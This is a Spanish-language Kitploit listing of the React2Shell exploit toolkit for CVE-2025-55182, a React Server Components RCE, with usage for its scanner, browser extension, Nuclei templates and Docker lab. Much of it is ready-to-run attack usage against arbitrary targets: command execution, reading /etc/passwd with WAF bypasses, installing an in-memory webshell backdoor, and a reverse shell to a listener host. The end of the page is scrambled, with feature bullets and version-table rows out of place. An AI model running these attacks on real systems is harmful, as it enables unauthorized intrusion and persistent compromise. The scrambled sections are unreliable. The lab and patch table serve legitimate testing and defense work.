Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
React2Shell — Kit de pruebas de seguridad CVE-2025-55182: escáner CLI + extensión de Chrome + plantillas de Nuclei + laboratorio Docker. | Kitploit
Herramientas/GitHubGitHub/sho-luv/react2shell
Escáneres de VulnerabilidadesFrameworks de ExploitsExplotación de Aplicaciones WebEvasión de WAFSeguridad WebCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubsho-luv/react2shell

React2Shell

92hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Kit de pruebas de seguridad CVE-2025-55182: escáner CLI + extensión de Chrome + plantillas de Nuclei + laboratorio Docker.

Ver Repositorio

React2Shell

CVE-2025-55182 Scanner & Exploit Toolkit for Next.js/React Server Components RCE.

Estructura del repositorio

root@kitploit:~
React2Shell/
├── browser-extension/    # Chrome extension for browser-based detection
│   ├── manifest.json
│   ├── content.js
│   ├── popup.html/js
│   └── background.js
├── cli/                  # Command-line scanner & exploit tool
│   ├── react2shell.py
│   └── requirements.txt
├── docs/                 # Learning-focused documentation
│   ├── README.md         # Learning path index
│   ├── 01-fundamentals.md
│   ├── 02-vulnerability.md
│   ├── 03-exploitation.md
│   ├── 04-frameworks.md
│   └── 05-defense.md
├── lab/                  # Docker lab environment for testing
│   ├── vulnerable/       # Vulnerable Next.js app (React 19.2.0)
│   ├── patched/          # Patched Next.js app (React 19.2.1)
│   ├── waf/              # ModSecurity WAF container
│   ├── waku-app/         # Vulnerable Waku app (React 19.2.0)
│   ├── react-router-app/ # Vulnerable React Router app (React 19.2.0)
│   └── docker-compose.yml
└── nuclei/               # Nuclei templates
    ├── CVE-2025-55182.yaml       # RCE detection (executes code)
    └── CVE-2025-55182-safe.yaml  # Safe side-channel detection

Inicio rápido

Herramienta CLI

root@kitploit:~
cd cli
pip install -r requirements.txt

# Scan a target
python react2shell.py https://target.com

# Execute command
python react2shell.py https://target.com -c "id"

# Interactive shell
python react2shell.py https://target.com -i

Extensión del navegador

  1. Abre chrome://extensions/
  2. Activa el «modo de desarrollador»
  3. Haz clic en «Load unpacked»
  4. Selecciona el directorio browser-extension

Entorno de laboratorio

root@kitploit:~
cd lab
docker-compose up -d

# Exploitable targets:
# Next.js Vulnerable:    http://localhost:3011  ← Full RCE
# Waku Vulnerable:       http://localhost:3014  ← RCE (blind - no HTTP output)
# React Router:          http://localhost:3015  ← Full RCE (ESM)

# Protected targets:
# Next.js Patched:       http://localhost:3012  ← Secure
# WAF Protected:         http://localhost:3013  ← ModSecurity blocks exploits

Escáner Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com

Características

Herramienta CLI (cli/react2shell.py)

  • Soporte multi-framework - Next.js, Waku, React Router, Expo, Vite RSC, Parcel RSC
  • Detección de framework (--detect) - Detecta automáticamente el framework objetivo
  • Enumeración de endpoints (-E) - Descubre endpoints RSC automáticamente
  • Escaneo de vulnerabilidades - Escaneo de una sola URL o por lotes desde archivo
  • Ejecución de comandos (-c) - Ejecuta comandos arbitrarios
  • Shell interactiva (-i) - Sesión de comandos persistente
  • Shell inversa (-r) - Múltiples tipos: nc, bash, perl, python, ruby
  • Webshell en memoria (--webshell) - Instalación persistente de backdoor
  • Lectura de archivos (-f) - Lee archivos remotos directamente
  • Escaneo local (-L) - Comprueba package.json en busca de versiones vulnerables
  • Bypass de WAF - Relleno de basura (-w), codificación Unicode (-u), específico de Vercel ()

Extensión del navegador (browser-extension/)

  • Auto-detección de indicadores de vulnerabilidad RSC
  • Rutas de exploit configurables
  • Ejecución de comandos con visualización de salida
  • Interruptor de activar/desactivar
  • Indicadores visuales de vulnerable/seguro

Entorno de laboratorio (lab/)

  • Next.js vulnerable (3011) - RCE completo con salida mediante X-Action-Redirect
  • Waku (3014) - RCE confirmado, requiere formato de ruta /RSC/F/{x}/{y}.txt
  • React Router (3015) - RCE completo usando process.getBuiltinModule() compatible con ESM
  • Next.js parcheado (3012) - Para probar la detección sin explotación
  • Protegido por WAF (3013) - Reglas de ModSecurity para investigación de bypass
  • Panel de control (8080) - Registro y visualización de ataques

Ejemplos de uso de la CLI

root@kitploit:~
# Basic scan (auto-detects framework)
python react2shell.py https://target.com

# Detect framework and enumerate endpoints
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v

# Execute command on different frameworks
python react2shell.py https://target.com -c "id"                    # Next.js (auto)
python react2shell.py https://target.com -F waku -c "id"            # Waku (blind RCE)
python react2shell.py https://target.com -F react-router -c "id"    # React Router (ESM)

# Lab examples with output
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt"  # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id"        # React Router

# Execute command with all WAF bypasses
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u

# Interactive shell through proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080

# Install in-memory webshell (creates backdoor on port 1337)
python react2shell.py https://target.com --webshell mypassword
# Access: curl 'http://target:1337/?p=mypassword&cmd=id'

# Reverse shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash

# Scan local project for vulnerable versions
python react2shell.py -L /path/to/project

# Batch scan with output
python react2shell.py targets.txt -t 20 -o results.json -v

Todas las opciones de la CLI

root@kitploit:~
Execution Options:
  -c, --cmd             Command to execute
  -i, --interactive     Interactive shell session
  -r, --reverse         Reverse shell mode
  -l, --lhost           Listener host
  -p, --lport           Listener port
  -S, --shell-type      Shell type (nc, nc-mkfifo, bash, perl, python, ruby)
  -f, --read-file       Read a remote file

Scanning Options:
  -P, --path            Paths to test (comma-separated or file)
  -t, --threads         Number of threads (default: 10)
  -T, --timeout         Request timeout in seconds (default: 10)
  -s, --safe            Safe mode (no code execution)
  -L, --local           Scan local project directory
  -F, --framework       Target framework (auto, nextjs, waku, react-router, expo)
  -E, --enumerate       Enumerate RSC endpoints before exploitation
  --detect              Only detect framework and list endpoints
  --webshell            Install in-memory webshell on port 1337
  --rce                 RCE proof-of-concept mode (default: safe mode)

Bypass Options:
  -w, --waf-bypass      Junk data padding
  -W, --waf-size        Junk size in KB (default: 128)
  -u, --unicode         Unicode encoding bypass
  -V, --vercel-bypass   Vercel-specific bypass
  --windows             Windows PowerShell payloads

Request Options:
  -x, --proxy           Proxy URL (e.g., http://127.0.0.1:8080)
  -H, --header          Custom headers
  -A, --user-agent      Custom User-Agent
  -k, --insecure        Disable SSL verification

Output Options:
  -o, --output          Save results to JSON
  -v, --verbose         Verbose output with version detection
  -q, --quiet           Only show vulnerable targets
  --no-color            Disable colors
  --no-banner           Hide banner

Detalles de CVE-2025-55182

CampoValor
CVSS10.0 (Crítico)
ImpactoEjecución remota de código no autenticada

Frameworks afectados

Créditos

  • mrknow001/RSC_Detector
  • assetnote/react2shell-scanner
  • Chocapikk/CVE-2025-55182
  • hackersatyamrastogi/react2shell-ultimate
  • ProjectDiscovery Nuclei Templates

Descargo de responsabilidad

Este kit es únicamente para pruebas de seguridad autorizadas. Úsalo solo en sistemas que poseas o para los que tengas permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal.


CVE-2025-55182 | CVSS 10.0 | Solo para pruebas de seguridad autorizadas

Descargar herramienta
-V
  • Soporte de proxy (-x) - Enruta a través de Burp Suite u otros proxies
  • Modo seguro (-s) - Detección por canal lateral sin ejecución de código
  • AfectadosCualquier framework RSC que use versiones vulnerables de React
    MecanismoContaminación de prototipos a través de React Flight Protocol
    FrameworkVulnerableParcheado
    React19.0.0 - 19.2.019.2.1+
    Next.js14.0.0 - 15.4.715.4.8+
    Waku< 0.27.20.27.2+
    React Router7.0.0 - 7.5.0 (vista previa de RSC)7.5.1+
    ExpoRSC experimentalActualizar React
    @vitejs/plugin-rscTodos con React vulnerableActualizar React
    @parcel/rscTodos con React vulnerableActualizar React
    RedwoodJS (rwsdk)Todos con React vulnerableActualizar React